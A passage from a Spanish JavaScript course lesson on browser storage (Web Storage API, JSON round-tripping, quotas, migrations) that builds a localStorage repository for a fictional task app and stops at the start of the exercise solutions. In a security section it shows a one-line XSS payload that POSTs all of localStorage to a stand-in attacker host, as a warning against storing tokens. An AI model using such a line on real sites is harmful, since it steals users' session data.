Terminaste el Módulo 6 pulsando F5 y viendo cómo todo el trabajo de Marta se evaporaba. No es un fallo de tu código: es que hasta ahora Nómada Tareas vivía entera en la memoria de una pestaña, y esa memoria se destruye en cada recarga. En esta lección le das a la aplicación su primera forma de recordar. Vas a conocer todas las opciones que ofrece el navegador para guardar datos —cookies, localStorage, sessionStorage, IndexedDB y Cache API—, a dominar la Web Storage API hasta sus rincones incómodos (solo guarda cadenas, es síncrona, tiene un límite duro y puede fallar), y a construir js/datos/repositorio-local.js, la primera pieza real de la capa de datos del proyecto. Y por fin verás para qué escribiste aquel toJSON y aquel static desdeJSON en 05-03: sin ellos, guardar una instancia con campos privados perdería la mitad de los datos en silencio.

Contenido

  1. Qué significa "guardar" en el navegador
  2. Las cinco opciones, comparadas
  3. La Web Storage API: los seis miembros
  4. Solo guarda cadenas: por qué JSON no es opcional
  5. toJSON y desdeJSON, el viaje de ida y vuelta
  6. El origen como frontera
  7. localStorage frente a sessionStorage
  8. El evento storage: sincronizar dos pestañas
  9. Límites, cuota y QuotaExceededError
  10. Es síncrono: bloquea el hilo
  11. Qué no debes guardar nunca
  12. Versionar el formato y migrar
  13. Nómada Tareas: js/datos/repositorio-local.js
  14. Cuando 5 MB no bastan: IndexedDB y localForage
  15. Errores Comunes y Consejos
  16. Ejercicios
  17. Conclusión

  1. Qué significa "guardar" en el navegador

Cuando una aplicación de escritorio guarda algo, escribe un fichero en el disco. Una página web no puede hacer eso: si cualquier web pudiera escribir donde quisiera en tu ordenador, la web sería inhabitable. Lo que el navegador ofrece en su lugar es un almacén privado por sitio, gestionado por él, con reglas estrictas sobre quién puede leer qué.

Tres ideas para empezar:

  • El navegador es el dueño del almacén, no tu página. Puede borrarlo cuando le falte espacio, cuando el usuario limpie datos de navegación o cuando el sitio lleve meses sin visitarse. Nunca escribas código que asuma que lo guardado sigue ahí.
  • Todo almacenamiento es local a un dispositivo y a un navegador. Lo que Marta guarde en Chrome no lo verá en Firefox, ni en su móvil, ni Iván en su portátil. Compartir datos entre personas exige un servidor, y de eso va la lección siguiente.
  • El almacenamiento no es una base de datos. No hay consultas, ni índices, ni transacciones (salvo en IndexedDB). Es una caja donde metes cosas y de la que las sacas.

Con eso claro, el problema de Nómada Tareas se vuelve concreto: si al terminar cada cambio escribo el tablero en el almacén, y al arrancar la aplicación intento leerlo antes de recurrir a datos/backlog.js, la aplicación sobrevive a F5.

  1. Las cinco opciones, comparadas

El navegador ofrece cinco mecanismos con propósitos muy distintos. Elegir mal es la causa de la mitad de los problemas de rendimiento y de seguridad que se ven en producción.

Mecanismo Capacidad típica Persistencia Ámbito Modo ¿Viaja al servidor? Para qué sirve
Cookies ~4 KB por cookie Hasta su Expires/Max-Age Origen + ruta, configurable por dominio Síncrono Sí, en cada petición Sesión de servidor, identificación. Con HttpOnly y Secure
localStorage ~5-10 MB por origen Indefinida hasta que se borre Origen Síncrono No Preferencias, borradores, estado de la interfaz
sessionStorage ~5-10 MB por origen Mientras viva la pestaña Origen + pestaña Síncrono No Datos de un asistente de varios pasos, filtros temporales
IndexedDB Cientos de MB o más (según cuota) Indefinida Origen Asíncrono No Muchos datos, objetos estructurados, búsquedas por índice
Cache API Compartida con la cuota del origen Indefinida Origen Asíncrono No Respuestas HTTP completas para funcionar sin conexión

Cuatro consecuencias prácticas de esta tabla:

  • Las cookies viajan en cada petición HTTP. Guardar en una cookie los datos del tablero significaría enviar ese JSON al servidor en cada imagen, cada CSS y cada llamada a la API. Por eso las cookies se reservan para identificadores pequeños.
  • localStorage y sessionStorage son la misma API con distinta duración. Todo lo que aprendas de una vale para la otra.
  • IndexedDB es asíncrono, y esa es su mayor ventaja: no bloquea la interfaz. Su coste es una API notoriamente incómoda, que casi nadie usa a pelo.
  • Cache API no guarda datos, guarda respuestas. Es la pieza de los service workers, y la verás en 07-05.

Para Nómada Tareas, con seis tareas y un puñado de preferencias, localStorage es exactamente la herramienta adecuada. Empezar por IndexedDB sería como montar un almacén logístico para guardar una caja de zapatos.

  1. La Web Storage API: los seis miembros

localStorage y sessionStorage son objetos globales que implementan la interfaz Storage. Su superficie completa cabe en una tabla:

Miembro Firma Qué hace Si no existe la clave
setItem setItem(clave, valor) Guarda (o sobrescribe)
getItem getItem(clave) Lee Devuelve null
removeItem removeItem(clave) Borra una clave No hace nada, no falla
clear clear() Borra todo el almacén del origen
key key(indice) Devuelve el nombre de la clave n-ésima Devuelve null
length propiedad Cuántas claves hay guardadas
// Guardar y leer
localStorage.setItem('nomada:tema', 'oscuro');
console.log(localStorage.getItem('nomada:tema'));      // 'oscuro'

// Una clave que no existe devuelve null, NO undefined
console.log(localStorage.getItem('nomada:idioma'));    // null

// Recorrer todo el almacén
console.log(localStorage.length);                       // 1
for (let i = 0; i < localStorage.length; i += 1) {
  const clave = localStorage.key(i);
  console.log(clave, '→', localStorage.getItem(clave));
}

localStorage.removeItem('nomada:tema');
// localStorage.clear();                                 // ✗ cuidado: borra TODO el origen

Tres detalles que conviene fijar desde el principio:

  • La ausencia se representa con null, no con undefined. Esto importa porque null ?? valorPorDefecto funciona, pero también lo hace undefined ?? valorPorDefecto; en cambio getItem(...) || 'x' te traicionaría si el valor guardado fuera la cadena vacía o '0'. Usa ?? o compara explícitamente con null.
  • clear() borra todo el origen, no solo lo tuyo. Si en el mismo dominio hay otra página que guarda cosas, se las llevas por delante. Por eso el proyecto usará un prefijo (nomada:) y borrará clave a clave.
  • Existe una sintaxis de propiedad (localStorage.tema = 'oscuro') que funciona, pero es una mala idea: choca con los nombres de los métodos (localStorage.length = 3 no hace lo que parece) y esconde que estás llamando a una API. Usa siempre los métodos.

Un convenio de nombres desde el minuto uno. Como el almacén es plano y compartido por todo el origen, las claves llevan espacio de nombres y versión:

const CLAVE_TABLERO = 'nomada:tablero:v1';
const CLAVE_PREFS   = 'nomada:preferencias:v1';

  1. Solo guarda cadenas: por qué JSON no es opcional

Esta es la limitación que más quebraderos de cabeza produce. Storage solo almacena cadenas de texto. Cualquier otra cosa se convierte antes de guardarse, y la conversión la hace String(), con resultados desastrosos:

localStorage.setItem('numero', 42);
console.log(localStorage.getItem('numero'));           // '42'   ← string
console.log(typeof localStorage.getItem('numero'));    // 'string'
console.log(localStorage.getItem('numero') + 1);       // '421'  ← concatenación

localStorage.setItem('activo', true);
console.log(localStorage.getItem('activo') === true);  // false  ← es 'true', la cadena

localStorage.setItem('tareas', [1, 2, 3]);
console.log(localStorage.getItem('tareas'));           // '1,2,3'  ← se perdió el array

localStorage.setItem('tarea', { id: 6, titulo: 'Presupuesto' });
console.log(localStorage.getItem('tarea'));            // '[object Object]'  ← desastre total

Esa última línea es el fallo clásico: el objeto se convirtió con su toString() por defecto y los datos han desaparecido para siempre. La solución es la que ya conoces de 04-08:

const tarea = { id: 6, titulo: 'Presupuesto de la carpintería', horasEstimadas: 5 };

localStorage.setItem('nomada:tarea:6', JSON.stringify(tarea));       // ← al guardar
const recuperada = JSON.parse(localStorage.getItem('nomada:tarea:6')); // ← al leer

console.log(recuperada.horasEstimadas + 1);   // 6   ← número de verdad

Pero JSON.parse lanza si el texto está corrupto, y en un almacén que el usuario puede editar a mano desde las DevTools, o que quedó a medias de una versión anterior de tu aplicación, eso pasa. Recupera el parsearSeguro de 04-08:

// js/util/json.js
/** Devuelve el objeto parseado, o `respaldo` si el texto es null o no es JSON válido. */
export function parsearSeguro(texto, respaldo = null) {
  if (texto === null) return respaldo;
  try {
    return JSON.parse(texto);
  } catch {
    return respaldo;
  }
}

Un dato corrupto nunca debe tumbar la aplicación entera: como mucho, debe hacer que arranque con el backlog inicial.

  1. toJSON y desdeJSON, el viaje de ida y vuelta

Aquí es donde el diseño de 05-03 rinde. Una Tarea no es un objeto plano: tiene #estado y #horas privados y getters en el prototipo. Sin toJSON, JSON.stringify(tarea) produce un objeto al que le faltan campos y no lanza ningún error. Con toJSON, el resultado es completo.

Y a la vuelta ocurre lo simétrico: JSON.parse nunca devuelve instancias. Devuelve objetos planos, sin métodos y sin getters.

import { Tarea } from '../modelo/tarea.js';

const tarea = new Tarea({
  id: 6, titulo: 'Presupuesto de la carpintería', responsable: 'Iván',
  prioridad: 'alta', etiquetas: ['carpintería'], horasEstimadas: 5,
  fechaLimite: '2026-09-05', revisor: 'Marta'
});

const texto = JSON.stringify(tarea);           // ← usa toJSON(): completo
const plano = JSON.parse(texto);

console.log(plano instanceof Tarea);           // false
console.log(plano.abierta);                    // undefined   ← el getter no viaja
// plano.cambiarEstado('en-curso');            // ✗ TypeError: no es una función

const viva = Tarea.desdeJSON(plano);           // ← reconstruye Y revalida
console.log(viva instanceof Tarea);            // true
console.log(viva.abierta);                     // true
console.log(viva.diasRestantes);               // -15

El ciclo completo, dibujado:

flowchart LR
    A["Tablero<br/>(instancias vivas)"] -->|"JSON.stringify · toJSON()"| B["Texto JSON"]
    B -->|"setItem"| C[("localStorage")]
    C -->|"getItem"| D["Texto JSON"]
    D -->|"parsearSeguro · JSON.parse"| E["Objetos planos"]
    E -->|"Tarea.desdeJSON · new Tablero"| F["Tablero<br/>(instancias vivas)"]

Recuerda lo que se pierde en ese viaje, que ya inventariaste en 04-08: undefined, funciones y símbolos desaparecen; Date se convierte en cadena; Map, Set y NaN no sobreviven; Infinity se vuelve null. Nuestro modelo está diseñado para eso: las fechas ya son cadenas ISO ('2026-09-05'), las etiquetas ya son un array de cadenas, y no hay ni un Date ni un Map dentro de Tarea. No fue casualidad.

  1. El origen como frontera

Cada almacén pertenece a un origen, y un origen son tres cosas juntas:

        https  ://  app.tallernomada.example  :  443
        └─┬─┘        └────────┬────────────┘   └┬┘
       protocolo           dominio            puerto

Si cambia cualquiera de las tres, es otro almacén distinto y no se ven entre sí:

URL A URL B ¿Mismo almacén? Por qué
https://taller.example/a https://taller.example/b/c La ruta no forma parte del origen
https://taller.example http://taller.example No Distinto protocolo
https://taller.example https://app.taller.example No Distinto dominio
http://localhost:3000 http://localhost:8080 No Distinto puerto
https://taller.example file:///C:/proyecto/index.html No file:// tiene su propio origen (a menudo opaco)

Dos consecuencias muy prácticas mientras desarrollas:

  • Abrir index.html con doble clic (file://) no es equivalente a servirlo. Además de que los módulos ES fallan por CORS —lo viste en 05-04—, el almacenamiento se comporta de forma inconsistente. Usa siempre un servidor local (npx serve, la extensión Live Server, python3 -m http.server).
  • Cambiar de puerto te "borra" los datos. No están borrados: están en el almacén del otro origen. Es una fuente inagotable de sustos.

Un <iframe> de otro origen incrustado en tu página accede a su propio almacén, no al tuyo. Esa separación es una barrera de seguridad, no un detalle técnico.

  1. localStorage frente a sessionStorage

Comparten API y difieren solo en cuánto duran y quién los ve:

localStorage sessionStorage
Duración Hasta que se borre explícitamente Hasta que se cierre la pestaña
Compartido entre pestañas del mismo origen No: cada pestaña tiene el suyo
Sobrevive a F5
Sobrevive a cerrar y reabrir el navegador No
Duplicar la pestaña La copia hereda el contenido
Evento storage en otras pestañas No (solo entre iframes de la misma pestaña)

La regla de decisión es directa: ¿el usuario esperaría encontrarlo mañana? Si sí, localStorage. Si es algo de "ahora mismo", sessionStorage.

En Nómada Tareas:

// Persiste: el tablero y las preferencias del usuario
localStorage.setItem('nomada:tablero:v1', JSON.stringify(tablero));
localStorage.setItem('nomada:preferencias:v1', JSON.stringify({ tema: 'claro', orden: 'prioridad' }));

// Efímero: un filtro que Marta activó para mirar una cosa concreta
sessionStorage.setItem('nomada:filtro-actual', JSON.stringify({ responsable: 'Iván' }));

Si Marta filtra por Iván en una pestaña para revisar su carga, no querrá encontrarse ese filtro puesto mañana por la mañana sin saber por qué. Ese es exactamente el caso de sessionStorage.

  1. El evento storage: sincronizar dos pestañas

Marta trabaja con dos pestañas abiertas: en una revisa el tablero completo y en otra da de alta tareas. Si guarda en una, la otra sigue mostrando datos viejos. El navegador te avisa con el evento storage:

window.addEventListener('storage', (evento) => {
  console.log('clave:',     evento.key);        // 'nomada:tablero:v1'
  console.log('antes:',     evento.oldValue);   // el JSON anterior (string o null)
  console.log('ahora:',     evento.newValue);   // el JSON nuevo (string o null)
  console.log('origen:',    evento.url);        // URL de la pestaña que lo cambió
  console.log('almacén:',   evento.storageArea === localStorage);
});

La característica que confunde a todo el mundo: storage NO se dispara en la pestaña que hizo el cambio, solo en las demás del mismo origen. Es intencionado —esa pestaña ya sabe lo que hizo—, pero hace que parezca roto cuando lo pruebas en una sola ventana. Ábrelo en dos pestañas para verlo.

Aplicado al proyecto, con los CustomEvent de 06-04 como puente:

// js/datos/repositorio-local.js (fragmento)
import { EVENTOS, emitir } from '../vista/eventos.js';

/** Avisa a la aplicación cuando OTRA pestaña cambia el tablero guardado. */
export function escucharOtrasPestanas(clave, alCambiar, { signal } = {}) {
  window.addEventListener('storage', (evento) => {
    if (evento.key !== clave) return;              // ignora otras claves del origen
    if (evento.newValue === null) return;          // alguien limpió: decide tú qué hacer
    alCambiar(JSON.parse(evento.newValue));
  }, { signal });
}
// js/app.js
escucharOtrasPestanas('nomada:tablero:v1', (datos) => {
  const nuevo = Tablero.importar(JSON.stringify(datos));
  vista.actualizar({ tablero: nuevo });
  emitir(document, EVENTOS.TABLERO_ACTUALIZADO, { origen: 'otra-pestana' });
});

Fíjate en el { signal }: es el AbortController que apareció de pasada en 06-04 y que estudiarás a fondo en 07-03. Sirve para poder desconectar el oyente después.

Para casos más ambiciosos existe BroadcastChannel, un canal de mensajes explícito entre pestañas del mismo origen que no obliga a pasar por el almacenamiento. El evento storage tiene la ventaja de que ya está donde estás guardando.

  1. Límites, cuota y QuotaExceededError

El límite habitual es de unos 5 MB por origen para Web Storage (algunos navegadores llegan a 10 MB). Parece mucho hasta que guardas historiales o imágenes en base64. Y hay un detalle que duplica el consumo: las cadenas se almacenan en UTF-16, así que cada carácter ocupa aproximadamente 2 bytes.

Cuando te pasas, setItem lanza una excepción:

try {
  localStorage.setItem('nomada:tablero:v1', textoEnorme);
} catch (error) {
  // El nombre estándar moderno; navegadores antiguos usan otros códigos
  if (error.name === 'QuotaExceededError') {
    console.warn('No hay espacio en el almacenamiento local.');
  } else {
    throw error;                                  // no te tragues errores que no esperabas
  }
}

Hay una segunda causa de fallo que sorprende: en modo privado / incógnito, algunos navegadores dan una cuota de cero o cierran el almacén. En navegación con cookies bloqueadas por completo, incluso acceder a localStorage puede lanzar SecurityError. Por eso la comprobación de disponibilidad se hace así:

/** ¿Podemos escribir de verdad en este almacén? */
export function almacenDisponible(tipo = 'localStorage') {
  try {
    const almacen = window[tipo];
    const prueba = '__prueba__';
    almacen.setItem(prueba, prueba);              // escribir de verdad, no solo comprobar que existe
    almacen.removeItem(prueba);
    return true;
  } catch {
    return false;
  }
}

No basta con if ('localStorage' in window): el objeto puede existir y aun así fallar al escribir. Hay que intentar escribir.

¿Y qué hacer si no está disponible? Nunca romper. Degradar:

/** Respaldo en memoria: misma API, pero solo dura lo que dure la página. */
function almacenEnMemoria() {
  const mapa = new Map();
  return {
    getItem: (k) => (mapa.has(k) ? mapa.get(k) : null),
    setItem: (k, v) => mapa.set(k, String(v)),
    removeItem: (k) => mapa.delete(k)
  };
}

const almacen = almacenDisponible() ? window.localStorage : almacenEnMemoria();

La aplicación sigue funcionando exactamente igual; simplemente no recuerda nada entre recargas. Eso es mejora progresiva: la persistencia es una mejora, no un requisito para arrancar.

Para saber cuánto espacio hay realmente disponible existe la Storage API moderna:

if (navigator.storage?.estimate) {
  const { usage, quota } = await navigator.storage.estimate();
  console.log(`Usado ${(usage / 1048576).toFixed(2)} MB de ${(quota / 1048576).toFixed(0)} MB`);
}

  1. Es síncrono: bloquea el hilo

Aquí conecta con el bucle de eventos de 05-07. localStorage.setItem es una operación síncrona y bloqueante: mientras escribe, el hilo principal no ejecuta nada más. No pinta, no responde a clics, no procesa microtareas.

Con seis tareas es imperceptible. Con un JSON de varios megas guardado en cada pulsación de tecla, la interfaz se congela visiblemente.

// ✗ Guardar en cada tecla: escribe decenas de veces por segundo
campoBusqueda.addEventListener('input', () => {
  localStorage.setItem('nomada:tablero:v1', JSON.stringify(tablero));   // bloqueo repetido
});

// ✓ Amortiguado con el debounce de 03-04 / 06-07
import { debounce } from '../util/tiempo.js';
const guardarAmortiguado = debounce(() => repositorio.guardar(tablero), 500);
campoBusqueda.addEventListener('input', guardarAmortiguado);

Dos reglas de higiene:

  • Guarda al terminar un cambio, no durante. Un submit completado, un cambio de estado, un borrado: eso son momentos de guardar. Cada tecla, no.
  • Serializa una vez. JSON.stringify de un tablero grande también cuesta. No lo llames dentro de un bucle.

Si te encuentras necesitando escribir mucho y a menudo, la respuesta no es optimizar localStorage: es cambiar a IndexedDB, que es asíncrono por diseño.

  1. Qué no debes guardar nunca

localStorage es accesible desde cualquier JavaScript que se ejecute en tu página. Cualquiera: tu código, la librería de gráficos que instalaste, el script de analítica, y también el código que un atacante consiga inyectar mediante XSS (el mismo XSS que estudiaste en 06-02 con innerHTML). Una sola línea basta para llevárselo todo:

// Lo que un XSS ejecutaría en tu página, si hubiera algo que robar
fetch('https://atacante.example/robo', { method: 'POST', body: JSON.stringify(localStorage) });
No guardes Por qué Dónde va
Tokens de sesión, JWT, claves de API Un XSS los roba y suplanta al usuario; no expiran solos Cookie HttpOnly + Secure + SameSite, gestionada por el servidor
Contraseñas (en claro o cifradas en el cliente) La clave de descifrado estaría al lado del dato En ningún sitio del cliente
Datos personales identificables sin base legal El navegador no cifra nada; el dispositivo puede ser compartido Servidor, con revisión de privacidad
Datos de salud, financieros o de menores Categorías especialmente protegidas Nunca en el cliente sin asesoría
Datos que otros usuarios no deberían ver Un ordenador compartido lo expone al siguiente usuario Servidor con control de acceso

Tres advertencias que debes interiorizar:

  • localStorage no está cifrado. Se ve en texto plano en DevTools → Application → Local Storage, y en el disco.
  • No expira solo. Una cookie caduca; una clave de localStorage sigue ahí dentro de dos años si nadie la borra.
  • Datos personales reales exigen revisión legal. En un proyecto real, guardar en el navegador nombres, correos, direcciones o cualquier dato que identifique a una persona entra en el ámbito del RGPD y de las políticas internas de tu organización. Debe pasar por revisión legal y de compliance antes de escribirse una línea, y debe documentarse qué se guarda, por qué y durante cuánto tiempo. En este curso el equipo del Taller Nómada —Marta, Iván y Lucía— es ficticio, y guardamos solo un nombre de pila como etiqueta de asignación; en tu empresa, esa misma decisión no la tomas tú solo.

  1. Versionar el formato y migrar

El día que cambies el modelo —añadir un campo, renombrar otro— los datos guardados serán del formato antiguo. Si tu código asume el nuevo, la aplicación se rompe justo para los usuarios más fieles, que son los que tienen datos.

La solución es que el dato guardado diga qué formato tiene. Por eso el toJSON de Tablero que escribiste en 05-03 ya incluía version: 1, y por eso la clave se llama nomada:tablero:v1.

const VERSION_ACTUAL = 2;

/** Sube un objeto guardado desde cualquier versión anterior hasta la actual. */
function migrar(datos) {
  let actual = datos;

  if (actual.version === 1) {
    actual = {
      ...actual,
      version: 2,
      tareas: actual.tareas.map((t) => ({ ...t, revisor: t.revisor ?? null }))   // campo nuevo
    };
  }

  // if (actual.version === 2) { … futura migración a la 3 … }

  if (actual.version !== VERSION_ACTUAL) {
    throw new ErrorDeDatos(`No sé migrar la versión ${actual.version}.`);
  }
  return actual;
}

Tres reglas del versionado:

  • Migraciones encadenadas, no saltos. De la 1 a la 2, de la 2 a la 3. Así solo escribes cada paso una vez, aunque el usuario venga de muy atrás.
  • Nunca migres destruyendo. Escribe el resultado migrado solo cuando la migración haya terminado bien.
  • Si no sabes migrar, descarta con elegancia. Mejor arrancar con el backlog inicial y avisar, que arrancar roto.

  1. Nómada Tareas: js/datos/repositorio-local.js

Ahora juntamos todo en la primera pieza real de la carpeta js/datos/. El módulo tiene una responsabilidad única: traducir entre el tablero vivo y el almacén de texto. No sabe nada de DOM ni de reglas de negocio.

// js/datos/repositorio-local.js
import { Tablero } from '../modelo/tablero.js';
import { ErrorDeDatos } from '../modelo/errores.js';

const CLAVE = 'nomada:tablero:v1';
const VERSION_ACTUAL = 1;

/** ¿Se puede escribir de verdad en localStorage? (modo privado, cookies bloqueadas…) */
function almacenDisponible() {
  try {
    const prueba = '__nomada_prueba__';
    localStorage.setItem(prueba, '1');
    localStorage.removeItem(prueba);
    return true;
  } catch {
    return false;
  }
}

/** Respaldo silencioso: misma interfaz, sin persistencia real. */
function almacenEnMemoria() {
  const mapa = new Map();
  return {
    getItem: (k) => (mapa.has(k) ? mapa.get(k) : null),
    setItem: (k, v) => { mapa.set(k, String(v)); },
    removeItem: (k) => { mapa.delete(k); }
  };
}

export class RepositorioLocal {
  #almacen;
  #clave;
  #persistente;

  constructor({ clave = CLAVE, almacen } = {}) {
    this.#clave = clave;
    this.#persistente = almacenDisponible();
    this.#almacen = almacen ?? (this.#persistente ? window.localStorage : almacenEnMemoria());
  }

  /** true si los datos sobrevivirán a una recarga. La vista puede avisar si es false. */
  get persistente() {
    return this.#persistente;
  }

  /**
   * Escribe el tablero. Devuelve true si se guardó, false si no había espacio.
   * No lanza por falta de cuota: perder la persistencia no debe tumbar la aplicación.
   */
  guardar(tablero) {
    try {
      this.#almacen.setItem(this.#clave, JSON.stringify(tablero));   // usa toJSON() de Tablero y de cada Tarea
      return true;
    } catch (error) {
      if (error.name === 'QuotaExceededError') {
        console.warn('[nomada] Sin espacio en el almacenamiento local; los cambios no se guardarán.');
        return false;
      }
      throw error;
    }
  }

  /**
   * Lee el tablero guardado.
   * Devuelve null si no hay nada o si lo guardado es inservible: quien llama decide el respaldo.
   */
  cargar() {
    const texto = this.#almacen.getItem(this.#clave);
    if (texto === null) return null;

    let datos;
    try {
      datos = JSON.parse(texto);
    } catch {
      console.warn('[nomada] Datos corruptos en el almacén; se descartan.');
      this.limpiar();
      return null;
    }

    if (datos?.version !== VERSION_ACTUAL) {
      console.warn(`[nomada] Versión desconocida (${datos?.version}); se descarta.`);
      this.limpiar();
      return null;
    }

    try {
      return Tablero.importar(JSON.stringify(datos));   // reconstruye instancias Y revalida R1-R10
    } catch (error) {
      if (error instanceof ErrorDeDatos) {
        console.warn('[nomada] El tablero guardado no supera la validación:', error.message);
        this.limpiar();
        return null;
      }
      throw error;
    }
  }

  /** Borra SOLO nuestra clave. Nunca localStorage.clear(). */
  limpiar() {
    this.#almacen.removeItem(this.#clave);
  }
}

Cuatro decisiones de diseño que merecen comentario:

  • cargar() devuelve null, no lanza. "No hay nada guardado" es una situación normal, no un error. Quien llama decide qué hacer, y lo que hace es caer al backlog inicial.
  • Cualquier dato inservible se descarta y se limpia. Es preferible perder datos corruptos a arrastrarlos: el usuario ve un tablero inicial, no una pantalla en blanco.
  • Tablero.importar revalida. Como reconstruye instancias de Tarea, todas las reglas R1-R10 vuelven a comprobarse. Si alguien editó el JSON a mano en las DevTools y puso horasEstimadas: 500, el ErrorDeValidacion salta y el dato se descarta. Nunca confíes en lo que sale del almacén.
  • El constructor acepta un almacen. Así podrás pasarle un doble en el Módulo 8 y probar el repositorio sin navegador.

Y la integración en el punto de entrada:

// js/app.js
import { Tablero } from './modelo/tablero.js';
import { crearBacklog } from './datos/backlog.js';
import { RepositorioLocal } from './datos/repositorio-local.js';
import { TableroVista } from './vista/tablero-vista.js';
import { EVENTOS } from './vista/eventos.js';
import { debounce } from './util/tiempo.js';
import { HOY } from './util/fechas.js';
import { $ } from './vista/dom.js';

const repositorio = new RepositorioLocal();

// 1 · Lo guardado manda; si no hay nada, el backlog inicial
const tablero = repositorio.cargar() ?? new Tablero('Taller Nómada', crearBacklog());

const vista = new TableroVista({ contenedor: $('.tablero'), resumen: $('#resumen'), tablero, hoy: HOY });
vista.render();

// 2 · Guardar cuando algo cambia, amortiguado para no bloquear el hilo
const guardar = debounce(() => repositorio.guardar(tablero), 300);
document.addEventListener(EVENTOS.TAREA_CAMBIADA, guardar);
document.addEventListener(EVENTOS.TAREA_CREADA, guardar);

// 3 · Otra pestaña del equipo cambió los datos
window.addEventListener('storage', (evento) => {
  if (evento.key !== 'nomada:tablero:v1') return;
  const recargado = repositorio.cargar();
  if (recargado !== null) vista.actualizar({ tablero: recargado });
});

// 4 · Si no hay persistencia, decirlo en lugar de mentir
if (!repositorio.persistente) {
  $('#aviso').textContent = 'Modo sin guardado: los cambios se perderán al cerrar.';
  $('#aviso').hidden = false;
}

Guarda, recarga con F5 y comprueba: el tablero vuelve tal como lo dejaste. Marta puede cerrar el portátil.

Fíjate en el punto 2: la aplicación no llama a guardar desde el controlador ni desde la vista. Escucha los CustomEvent que ya emitías en 06-04. La persistencia se ha añadido sin tocar una línea del modelo ni de las vistas, que es exactamente lo que promete una arquitectura por capas.

  1. Cuando 5 MB no bastan: IndexedDB y localForage

Si Nómada Tareas creciera hasta guardar adjuntos, un historial completo de cambios o miles de tareas, localStorage se quedaría corto por dos motivos a la vez: la cuota y el bloqueo del hilo. El siguiente escalón es IndexedDB: una base de datos transaccional, orientada a objetos, con índices y asíncrona.

// IndexedDB a pelo: potente, pero verboso y basado en eventos, no en promesas
const solicitud = indexedDB.open('nomada', 1);

solicitud.onupgradeneeded = (evento) => {
  const bd = evento.target.result;
  const almacen = bd.createObjectStore('tareas', { keyPath: 'id' });
  almacen.createIndex('por-responsable', 'responsable', { unique: false });
};

solicitud.onsuccess = (evento) => {
  const bd = evento.target.result;
  const tx = bd.transaction('tareas', 'readwrite');
  tx.objectStore('tareas').put({ id: 6, titulo: 'Presupuesto de la carpintería' });
  tx.oncomplete = () => console.log('guardado');
};

Ese estilo con onsuccess/onupgradeneeded es anterior a las promesas y choca con todo lo que aprendiste en 05-06. Por eso casi nadie usa IndexedDB directamente. Dos envoltorios habituales:

Opción Idea Cuándo elegirla
localForage Ofrece la API de localStorage (getItem/setItem) pero con promesas, sobre IndexedDB, cayendo a Web Storage si hace falta Migrar de localStorage sin cambiar el diseño
idb Envuelve IndexedDB en promesas conservando todo su modelo (transacciones, índices, cursores) Necesitas consultas e índices de verdad
// Con localForage el repositorio apenas cambia… salvo que ahora es asíncrono
import localforage from 'localforage';

async guardar(tablero) {
  await localforage.setItem('nomada:tablero', tablero.toJSON());   // acepta objetos, sin stringify
}

Fíjate en el detalle importante: IndexedDB (y por tanto localForage) usa el algoritmo de clonación estructurada, el mismo de structuredClone de 04-08. Eso significa que acepta objetos, Date, Map y Set sin serializar a texto… pero no acepta instancias con campos privados, así que sigues necesitando toJSON() al guardar y desdeJSON al leer. El patrón que has aprendido sigue valiendo.

Regla práctica: empieza por localStorage. Cámbiate a IndexedDB cuando midas que te hace falta, no antes. Nómada Tareas no lo necesita.

Errores Comunes y Consejos

  • Guardar un objeto sin JSON.stringify. El resultado es '[object Object]' y los datos se pierden sin ningún error. Si al leer ves esa cadena, ya sabes lo que pasó.
  • Olvidar JSON.parse al leer. getItem siempre devuelve una cadena. datos.tareas.length sobre una cadena da undefined o el número de caracteres, y la confusión dura horas.
  • Confundir null con undefined. getItem de una clave inexistente devuelve null. Comprueba con === null o usa ??.
  • Usar || para el valor por defecto. Number(localStorage.getItem('paginas')) || 10 convierte un 0 legítimamente guardado en 10. Usa ?? sobre el valor ya parseado.
  • Llamar a localStorage.clear(). Borra todo el origen, incluidos datos de otras páginas del mismo dominio. Borra tus claves una a una, y por eso les pones prefijo.
  • Confiar en los datos leídos. El usuario puede editarlos en las DevTools. Valida siempre al reconstruir; para eso Tablero.importar revalida.
  • No envolver setItem en try/catch. Cuota llena o modo privado hacen que lance, y un fallo al guardar no debe tumbar la interfaz.
  • Guardar en cada pulsación de tecla. Es síncrono y bloquea. Amortigua con debounce y guarda al cerrar operaciones.
  • Guardar tokens de sesión. Es la mala práctica más extendida y la más cara: convierte cualquier XSS en un robo de cuenta.
  • Probar el evento storage en una sola pestaña. No se dispara en la que hizo el cambio. Abre dos.
  • Consejo: usa prefijos y versión en las claves (nomada:tablero:v1). Te permite listar lo tuyo, borrar lo tuyo y migrar formatos sin adivinar.
  • Consejo: inspecciona el almacén en DevTools → pestaña ApplicationLocal Storage. Puedes ver, editar y borrar claves a mano; es la forma más rápida de reproducir un dato corrupto.
  • Consejo: guarda datos, no interfaz. Guarda el tablero, no el HTML generado. El HTML se vuelve a construir; los datos no.

Ejercicios

Ejercicio 1 — Preferencias con sessionStorage y localStorage. Escribe un módulo js/datos/preferencias.js que exporte leerPreferencias() y guardarPreferencia(clave, valor). Las preferencias son { tema: 'claro' | 'oscuro', orden: 'prioridad' | 'fecha', columnasCompactas: boolean }, se guardan en localStorage bajo 'nomada:preferencias:v1' y deben tener valores por defecto si no hay nada guardado o si el JSON está corrupto. Añade guardarFiltroTemporal(filtro) y leerFiltroTemporal() usando sessionStorage. Cuidado con las preferencias booleanas: false es un valor legítimo.

Ejercicio 2 — Detectar y sobrevivir a la cuota llena. Escribe una función probarCuota() que escriba cadenas cada vez más grandes en localStorage bajo la clave '__cuota__' hasta que salte QuotaExceededError, informe por consola de cuántos KB aproximados aceptó el navegador y deje el almacén limpio pase lo que pase. Después usa esa información para escribir guardarConReintento(repositorio, tablero, historial): si guardar devuelve false, recorta el historial a la mitad y vuelve a intentarlo, hasta un máximo de tres intentos.

Ejercicio 3 — Migración de la versión 1 a la versión 2. El modelo cambia: las tareas pasan a tener un campo nuevo bloqueadaPor (array de ids, por defecto []) y el campo revisor pasa a llamarse revisadaPor. Escribe migrar(datos) que acepte un objeto guardado con version: 1 y devuelva uno con version: 2 correcto, y modifica RepositorioLocal.cargar() para que aplique la migración, guarde el resultado migrado y solo entonces construya el tablero. Si la versión es desconocida, debe descartarse como hasta ahora.

Soluciones

Solución 1

// js/datos/preferencias.js
const CLAVE_PREFS = 'nomada:preferencias:v1';
const CLAVE_FILTRO = 'nomada:filtro-actual';

const POR_DEFECTO = Object.freeze({ tema: 'claro', orden: 'prioridad', columnasCompactas: false });

function parsearSeguro(texto, respaldo) {
  if (texto === null) return respaldo;
  try {
    const valor = JSON.parse(texto);
